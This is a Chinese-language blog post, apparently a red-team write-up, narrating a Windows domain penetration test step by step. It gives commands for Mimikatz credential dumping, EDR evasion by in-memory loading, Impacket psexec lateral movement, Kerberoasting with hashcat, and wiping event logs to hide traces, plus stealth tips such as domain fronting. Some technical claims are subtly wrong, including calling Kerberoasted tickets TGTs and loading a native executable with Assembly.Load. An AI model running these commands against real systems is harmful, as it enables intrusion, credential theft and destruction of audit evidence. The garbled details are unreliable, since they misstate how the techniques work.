一、一次深夜的渗透行动

那是一个深夜,我接到客户的授权测试请求,目标是一家企业的内网环境,核心任务是渗透其 Windows 域架构,并获取敏感数据。客户的环境相对复杂,拥有多个域控制器(Domain Controller,简称 DC),并且部署了一些主流安全产品,例如 Windows Defender 和第三方 EDR。对我来说,这是一场技术较量,也是一场隐秘潜入的艺术展现。

在这次测试中,我围绕 Windows 域渗透展开了一系列攻击,从信息收集到权限提升,再到横向移动和数据窃取,步步为营。以下是完整的技术细节。

---

二、捕获域信息的第一步

如何锁定域控制器

渗透的第一步是搞清楚目标的内网环境,尤其是找到域控制器的位置。在实际操作中,我使用了三种方法:

方法1:Ping域名和子域

在很多企业中,域控制器的主机名通常是 dc.company.local 或类似的形式。所以我尝试解析目标域名,并进行简单的网络探测:

<pre><code class="language-shell"># 尝试解析域名和子域 nslookup company.local nslookup dc.company.local

Ping测试域控制器是否存在

ping dc.company.local</code></pre>

通过这种方式,我迅速锁定了目标的域控制器 IP 地址。

方法2:NetBIOS扫描

利用 NetBIOS 信息可以轻松发现域名和域控制器相关信息,我使用了 nmap 的脚本模块:

<pre><code class="language-shell"># 使用 nmap 的 NetBIOS 脚本扫描域信息 nmap -p 137 --script nbstat -v [目标IP段]</code></pre>

扫描结果直接返回了域名和域控制器的相关信息。

黑客示意图

方法3:LDAP查询

如果目标允许匿名访问 LDAP,我们可以利用 Ruby 编写一个简单的脚本来查询域控制器信息:

<pre><code class="language-ruby">require &#039;net/ldap&#039;

ldap = Net::LDAP.new( host: &#039;dc.company.local&#039;, port: 389 )

filter = Net::LDAP::Filter.eq(&quot;objectCategory&quot;, &quot;computer&quot;) ldap.search(base: &quot;DC=company,DC=local&quot;, filter: filter) do |entry| puts entry.dn end</code></pre>

以上方法让我锁定了目标域控制器的 IP 地址和主机名。接下来,就是进入域环境的关键步骤。

---

三、进入域的秘密钥匙:凭证抓取

工具选择:Mimikatz

凭证抓取是域渗透的核心环节。在测试中,我利用了经典的 Mimikatz 工具。它可以提取内存中的凭证、哈希值和明文密码。

首先,我将 Mimikatz 载入一台内网机器,执行以下命令:

<pre><code class="language-shell">privilege::debug sekurlsa::logonpasswords</code></pre>

这一步直接让我得到了当前登录用户的明文密码和 NTLM 哈希。

绕过EDR的攻击思路

为了绕过目标环境中的 EDR,我对 Mimikatz 进行了免杀处理。具体步骤如下:

  1. 重新编译源码:我修改了 Mimikatz 的部分字符串和函数名,避免被静态分析检测。
  2. 混淆代码逻辑:利用 Obfuscator 工具对代码进行了混淆。
  3. 内存加载执行:最终,我使用 PowerShell 通过内存加载 Mimikatz 来执行,避免落地文件被检测。

下面是内存加载 Mimikatz 的 PowerShell 脚本:

<pre><code class="language-powershell"># 读取 Mimikatz 二进制并加载到内存中 $MimikatzBytes = [System.IO.File]::ReadAllBytes(&quot;C:\temp\mimikatz.exe&quot;) $Assembly = [System.Reflection.Assembly]::Load($MimikatzBytes) $Assembly.EntryPoint.Invoke($null, @($null))</code></pre>

通过这种方式,我成功绕过了目标的 EDR,并获得了域用户的凭证。

---

四、横向移动的艺术

使用凭证访问其他主机

有了域凭证后,我开始尝试访问其他主机。最简单的方法是通过 SMB 共享访问。以下是具体命令:

<pre><code class="language-shell"># 使用 Impacket 的 psexec 模块实现横向移动 python3 psexec.py company.local/Administrator:password@target-ip</code></pre>

这种方式可以直接在目标主机上执行命令。

PowerShell横向移动

在某些情况下,目标网络禁止 SMB 协议的使用。此时,我切换到 PowerShell Remoting:

<pre><code class="language-powershell"># 启用目标主机的 PowerShell Remoting Enable-PSRemoting -Force

使用域管理员凭证进行远程连接

Enter-PSSession -ComputerName target-ip -Credential (Get-Credential)</code></pre>

通过 PowerShell,我可以隐秘地访问目标环境,执行任意命令。

---

五、获取域管理员权限

提权的关键:Kerberoasting

黑客示意图

为了获取域管理员权限,我选择了经典的 Kerberoasting 技术。这是一种通过提取服务账户的 Kerberos TGT票据并进行离线破解的方式。

提取票据

我使用了 Impacket 提取目标服务票据:

黑客示意图

<pre><code class="language-shell"># 使用 GetUserSPNs 提取服务票据 python3 GetUserSPNs.py company.local/username:password -dc-ip target-dc-ip -request</code></pre>

提取到票据后,我利用 Hashcat 进行离线破解:

<pre><code class="language-shell"># 使用 Hashcat 破解 Kerberos TGT hashcat -m 13100 -a 0 ticket.kirbi /path/to/wordlist.txt</code></pre>

破解成功后,我得到了服务账户的明文密码,并使用它登录域控制器。

疑点清除

为了避免被检测,我清除了日志痕迹:

<pre><code class="language-powershell"># 清空事件日志 wevtutil cl Application wevtutil cl Security wevtutil cl System</code></pre>

至此,我成功获取了域管理员权限。

---

六、经验分享:如何保持隐秘

  1. 流量伪装:使用 HTTPS 隧道和域前置技术隐藏 C2流量。
  2. 文件免杀:避免使用常见工具的公开版本,优先定制化开发。
  3. 定期清理痕迹:渗透过程中定期删除日志和临时文件。
  4. 内存加载:尽量使用无文件攻击,减少落地文件的风险。

---

七、总结与反思

这次渗透测试让我意识到,Windows域架构的安全性仍然存在较多问题。即便部署了 EDR 和其他防护措施,攻击者依然可以通过免杀技术和绕过策略来完成渗透。

黑客示意图

作为红队成员,我们的目标是发现问题并帮助企业提升安全能力,而不是单纯地炫技。在实际工作中,务必遵守法律法规,并获得授权后再开展测试。

本文仅供安全研究学习使用,未经授权请勿用于非法用途。